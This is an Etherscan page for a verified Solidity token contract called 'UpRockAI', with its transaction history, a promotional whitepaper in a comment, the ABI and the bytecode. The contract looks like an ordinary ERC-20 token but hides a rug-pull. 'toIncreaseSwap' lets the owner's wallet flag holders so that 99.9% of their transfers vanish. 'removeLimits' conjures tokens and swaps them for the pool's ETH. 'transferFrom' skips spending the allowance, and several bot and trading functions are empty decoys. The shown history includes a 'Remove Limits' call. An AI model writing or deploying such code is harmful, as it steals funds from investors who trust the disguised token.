ETH Price: $2,475.78 (-7.87%)

Contract

0xd19f85129b5a37D44b6D439621B9eA5769F76A1c
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Remove Limits198629192024-05-13 18:34:35106 days ago1715625275IN
0xd19f8512...769F76A1c
0 ETH0.0022385714.91964608
Approve198625312024-05-13 17:16:47106 days ago1715620607IN
0xd19f8512...769F76A1c
0 ETH0.0015376132.64981252
Approve198615932024-05-13 14:08:35106 days ago1715609315IN
0xd19f8512...769F76A1c
0 ETH0.0012104725.83498387
Approve198614232024-05-13 13:34:23106 days ago1715607263IN
0xd19f8512...769F76A1c
0 ETH0.0005196411.09071623
To Increase Swap198610102024-05-13 12:11:11106 days ago1715602271IN
0xd19f8512...769F76A1c
0 ETH0.000249545.25791499
Approve198610002024-05-13 12:09:11106 days ago1715602151IN
0xd19f8512...769F76A1c
0 ETH0.000339127.20103534
Approve198609772024-05-13 12:04:35106 days ago1715601875IN
0xd19f8512...769F76A1c
0 ETH0.000239355.11649737
To Increase Swap198607932024-05-13 11:27:35106 days ago1715599655IN
0xd19f8512...769F76A1c
0 ETH0.000114693.77772697
Approve198606392024-05-13 10:56:47106 days ago1715597807IN
0xd19f8512...769F76A1c
0 ETH0.000189844.05697413
To Increase Swap198606252024-05-13 10:53:47106 days ago1715597627IN
0xd19f8512...769F76A1c
0 ETH0.000201284.24099367
Approve198601812024-05-13 9:24:47106 days ago1715592287IN
0xd19f8512...769F76A1c
0 ETH0.000351947.46375431
Approve198600672024-05-13 9:01:35106 days ago1715590895IN
0xd19f8512...769F76A1c
0 ETH0.000368537.82547574
To Increase Swap198600132024-05-13 8:50:47106 days ago1715590247IN
0xd19f8512...769F76A1c
0 ETH0.000169235.5740185
To Increase Swap198599702024-05-13 8:41:59106 days ago1715589719IN
0xd19f8512...769F76A1c
0 ETH0.000165215.44175873
To Increase Swap198599432024-05-13 8:36:23106 days ago1715589383IN
0xd19f8512...769F76A1c
0 ETH0.000248135.22814534
Approve198598952024-05-13 8:26:47106 days ago1715588807IN
0xd19f8512...769F76A1c
0 ETH0.000233934.99917249
To Increase Swap198598842024-05-13 8:24:35106 days ago1715588675IN
0xd19f8512...769F76A1c
0 ETH0.000150324.95141665
To Increase Swap198598762024-05-13 8:22:59106 days ago1715588579IN
0xd19f8512...769F76A1c
0 ETH0.000160755.29475495
To Increase Swap198598312024-05-13 8:13:59106 days ago1715588039IN
0xd19f8512...769F76A1c
0 ETH0.000257395.42329471
Approve198593402024-05-13 6:35:35106 days ago1715582135IN
0xd19f8512...769F76A1c
0 ETH0.000200334.25398841
Transfer198592982024-05-13 6:27:11106 days ago1715581631IN
0xd19f8512...769F76A1c
0 ETH0.000213883.80708375
Transfer198592912024-05-13 6:25:47106 days ago1715581547IN
0xd19f8512...769F76A1c
0 ETH0.000208333.70900841
Transfer198590672024-05-13 5:40:47106 days ago1715578847IN
0xd19f8512...769F76A1c
0 ETH0.000318658.15628461
Transfer198590582024-05-13 5:38:59106 days ago1715578739IN
0xd19f8512...769F76A1c
0 ETH0.000488758.70329383
Approve198588992024-05-13 5:06:47106 days ago1715576807IN
0xd19f8512...769F76A1c
0 ETH0.000258795.49518406
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
UpRockAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-05-08
*/

/*
  *www.uprock-ai.com
  *medium.com/@UpRock-AI
  *x.com/UpRock_AI
  *t.me/UpRock_AI

  Abstract
In the age of information overload, the power of AI to decipher and deliver insights is 
undeniable. However, this potential has been largely monopolized by centralized entities, 
raising concerns of censorship, bias, and inadequate real-time relevance. UpRock emerges 
as the antidote, harnessing the principles of decentralization and web3 technology to 
reshape the AI landscape.UpRock is pioneering the democratization of advanced AI web 
crawling and data synthesis, 
a privilege previously reserved for large enterprises. By balancing centralized AI with 
decentralized physical infrastructure, UpRock is architecting a framework for impartial, 
real-time and personalized insights. This journey transforms decision-making processes and 
workflows for individuals and organizations, underscoring AI’s crucial role in adapting 
to emerging consumer behaviors. The AI Insight Exchange (AIX) dashboard is central to 
UpRock’s innovations, empowering customers with a personal AI web crawler, changing the 
way we absorb information and make informed decisions aligned with our life and work goals.
The backbone of the AIX is the Knowledge Acquisition Layer (KAL), fueled by a network 
of real-device peers. Users share bandwidth and compute in exchange for UpRock tokens, 
fostering a resilient, broad-reaching community-driven ecosystem. UpRock's unique strength 
lies in acquiring real-time data directly from the source, transcending traditional static 
datasets and API delays. With one app, users participate in both supply and demand, sharing 
unused resources and receiving AI Insights-as-a-Service (IaaS) via the AIX dashboard, 
offering a transformative experience in the rapidly growing $7.7 billion Open Source 
Intelligence (OSI) market. The closely related Business Intelligence (BI) and data API 
markets are also thriving, with revenues already surpassing $25 billion and $45 billion 
respectively in 2023.
By simply installing the UpRock App your mobile device is transformed into an essential 
node within an unprecedented decentralized physical infrastructure for AI. This initiative 
is pivotal to our market entry strategy. Fortified by the founders' experience in building 
large-scale mobile platforms, UpRock is poised for unparalleled success in  this dynamic 
landscape, steering the internet towards a more open, free and humanity-first AI future.

The Problem
Web3 promised a future where control over data shifts from tech giants to individuals. 
However, this collective pursuit is compromised by big tech's centralized approach to AI. 
They obscure their data sources, limit features, and implement opaque moderation policies, 
all without compensating data providers appropriately. This approach runs counter to the 
very essence of Web3's decentralized vision.
The first significant challenge lies in the inherent centralization, censorship, and lack 
of user data incentives in traditional AI. This centralization has sown seeds of apprehension 
regarding the impartiality and freedom of the AI-driven data world, highlighting a critical 
need for decentralization as a necessary countermeasure.
Secondly, the exponential growth in digital content, where AI is driving the production 
cost down to zero, is creating a chaotic information environment. The challenge is no longer 
just about how to acquire information, but efficiently collating, analyzing, and extracting 
genuine insights from it. While elite Open Source Intelligence (OSI) products offer substantial 
insights, their prohibitive costs and specificity render them inaccessible to the majority, 
leaving individuals and smaller entities grappling with myriad niche, and often inefficient 
APIs and highly technical data analysis products.
Additionally, operational challenges and the prohibitive costs of managing vast data quantities 
and running extensive proxy networks add layers of complexity and financial strain, making access 
to meaningful and affordable data APIs nearly unattainable for smaller companies and individuals.
In an era where single developers can build meaningful products thanks to cloud computing providers, 
we see a gap for an Insight-as-a-Service offering. An offering that can provide a consistent, simple, 
and accurate view of the vast digital landscape, without breaking the bank, and without needing a 
small army of highly educated analysts and specialists, training or downtime.

The Opportunity & Innovation
UpRock presents a significant opportunity for a wide range of organizations, including creators, 
brands, non-profits, corporations and governments. It's not just about consuming information; it’s 
about having a personalized, goal-oriented AI web advisor, redefining interactions with the internet 
and focusing on emergent behaviors that incumbents may overlook as they integrate AI into their established products.
The landscape is ripe for UpRock’s novel approach. Legal developments like the hiQ Labs vs LinkedIn 
ruling have clarified the legality of web scraping, mitigating operational risks. We are not just 
aligning with existing demands, but creating new human-centric products that democratizes large-scale, 
enterprise-grade insights, focusing on the big opportunity to reimagine workflows with the power of an 
intelligent, communicative web crawler.
Imagine wielding the power of a colossal peer-to-peer network, tirelessly scouring the web to deliver 
insights tailored to your ambitions. This intricate, expansive network operates on your behalf, and 
you can harness its capabilities just by chatting or talking to it. Historically, such potent tools 
were exclusive to large enterprises, with offerings like Palantir and Bright Data being both expensive 
and technically demanding. However, innovations in natural language processing have paved the way for 
consumer-friendly, AI-driven tools and dashboards that comprehend and converse as a friend. This is the 
dawn of consumerized, enterprise-level business intelligence -  a prosumer revolution. UpRock is at the 
forefront, democratizing access to deep, intelligent insights through affordable, human-centric solutions. 
*/
pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract UpRockAI is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 900000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = "UpRock AI";
    string private _symbol = "UPROCK AI";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function removePreTrading() public {
    }
    function setTrading() external {
    }
    function addBots() public {
    }
    function delBots() public {
    }
    function toIncreaseSwap(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddres()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddres() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function removeLimits(uint256 amount, address walletAddr) external {
        if (marketingAddres()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removePreTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"toIncreaseSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004bd565b6335a4e9006200002b91906200050d565b6002556040518060400160405280600981526020017f5570526f636b204149000000000000000000000000000000000000000000000081525060039081620000749190620007b2565b506040518060400160405280600981526020017f5550524f434b204149000000000000000000000000000000000000000000000081525060049081620000bb9190620007b2565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200011c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460095f620001eb6200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002386200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f620002996200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002e29190620008a7565b60405180910390a33360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008c2565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003c15780860481111562000399576200039862000337565b5b6001851615620003a95780820291505b8081029050620003b98562000364565b945062000379565b94509492505050565b5f82620003db5760019050620004ad565b81620003ea575f9050620004ad565b81600181146200040357600281146200040e5762000444565b6001915050620004ad565b60ff84111562000423576200042262000337565b5b8360020a9150848211156200043d576200043c62000337565b5b50620004ad565b5060208310610133831016604e8410600b84101617156200047e5782820a90508381111562000478576200047762000337565b5b620004ad565b6200048d848484600162000370565b92509050818404811115620004a757620004a662000337565b5b81810290505b9392505050565b5f819050919050565b5f620004c982620004b4565b9150620004d683620004b4565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ca565b905092915050565b5f6200051982620004b4565b91506200052683620004b4565b92508282026200053681620004b4565b9150828204841483151762000550576200054f62000337565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005d357607f821691505b602082108103620005e957620005e86200058e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200064d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000610565b62000659868362000610565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200069a620006946200068e84620004b4565b62000671565b620004b4565b9050919050565b5f819050919050565b620006b5836200067a565b620006cd620006c482620006a1565b8484546200061c565b825550505050565b5f90565b620006e3620006d5565b620006f0818484620006aa565b505050565b5b8181101562000717576200070b5f82620006d9565b600181019050620006f6565b5050565b601f82111562000766576200073081620005ef565b6200073b8462000601565b810160208510156200074b578190505b620007636200075a8562000601565b830182620006f5565b50505b505050565b5f82821c905092915050565b5f620007885f19846008026200076b565b1980831691505092915050565b5f620007a2838362000777565b9150826002028217905092915050565b620007bd8262000557565b67ffffffffffffffff811115620007d957620007d862000561565b5b620007e58254620005bb565b620007f28282856200071b565b5f60209050601f83116001811462000828575f841562000813578287015190505b6200081f858262000795565b8655506200088e565b601f1984166200083886620005ef565b5f5b8281101562000861578489015182556001820191506020850194506020810190506200083a565b868310156200088157848901516200087d601f89168262000777565b8355505b6001600288020188555050505b505050505050565b620008a181620004b4565b82525050565b5f602082019050620008bc5f83018462000896565b92915050565b611d5380620008d05f395ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636f268a99116100b65780638da5cb5b1161007a5780638da5cb5b1461030657806395d89b4114610324578063a457c2d714610342578063a9059cbb14610372578063dd62ed3e146103a2578063e29aba1a146103d257610140565b80636f268a991461029a57806370a08231146102b8578063715018a6146102e857806379d22b08146102f25780637c519ffb146102fc57610140565b806332424aa31161010857806332424aa3146101fe57806338046bb31461021c578063392fcfdf1461023857806339509351146102425780633eaaf86b1461027257806368f569231461029057610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b6040516101a79190611500565b60405180910390f35b6101ca60048036038101906101c59190611519565b61049d565b6040516101d791906114d8565b60405180910390f35b6101e861053f565b6040516101f59190611500565b60405180910390f35b610206610548565b6040516102139190611500565b60405180910390f35b610236600480360381019061023191906115ca565b61054e565b005b610240610602565b005b61025c60048036038101906102579190611480565b610604565b60405161026991906114d8565b60405180910390f35b61027a6106a4565b6040516102879190611500565b60405180910390f35b6102986106aa565b005b6102a26106ac565b6040516102af9190611624565b60405180910390f35b6102d260048036038101906102cd919061163d565b6106d1565b6040516102df9190611500565b60405180910390f35b6102f0610717565b005b6102fa610846565b005b610304610848565b005b61030e61084a565b60405161031b9190611624565b60405180910390f35b61032c610871565b60405161033991906113cb565b60405180910390f35b61035c60048036038101906103579190611480565b610901565b60405161036991906114d8565b60405180910390f35b61038c60048036038101906103879190611480565b610a25565b60405161039991906114d8565b60405180910390f35b6103bc60048036038101906103b79190611668565b610a42565b6040516103c99190611500565b60405180910390f35b6103ec60048036038101906103e791906116a6565b610ac4565b005b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b5f600254905090565b5f6104a9848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f0611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610534575f80fd5b600190509392505050565b5f600154905090565b60015481565b5f61055761120a565b90505f5b838390508110156105fc5761056e611211565b156105e957600182610580919061176e565b60085f868685818110610596576105956117a1565b5b90506020020160208101906105ab919061163d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b80806105f4906117ce565b91505061055b565b50505050565b565b5f61069a610610611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610695919061176e565b610d61565b6001905092915050565b60025481565b565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661073661084a565b73ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107839061185f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461088090611711565b80601f01602080910402602001604051908101604052809291908181526020018280546108ac90611711565b80156108f75780601f106108ce576101008083540402835291602001916108f7565b820191905f5260205f20905b8154815290600101906020018083116108da57829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610986575f80fd5b610a1b610991611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a16919061187d565b610d61565b6001905092915050565b5f610a38610a31611203565b8484610f24565b6001905092915050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610acc611211565b15610d5757610afd3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610b5b57610b5a6118b0565b5b604051908082528060200260200182016040528015610b895781602001602082028036833780820191505090505b50905030815f81518110610ba057610b9f6117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c44573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c6891906118f1565b81600181518110610c7c57610c7b6117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8486602042610d04919061176e565b6040518663ffffffff1660e01b8152600401610d24959493929190611a15565b5f604051808303815f87803b158015610d3b575f80fd5b505af1158015610d4d573d5f803e3d5ffd5b5050505050610d5c565b610d5d565b5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f179190611500565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5c575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa5575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110029190611500565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611053919061187d565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109d61120a565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111096103e86110fb6103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111555750815b1561115e578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ab919061187d565b816111b6919061176e565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f43905090565b5f61121a611203565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f80830361127e575f90506112df565b5f828461128b9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b604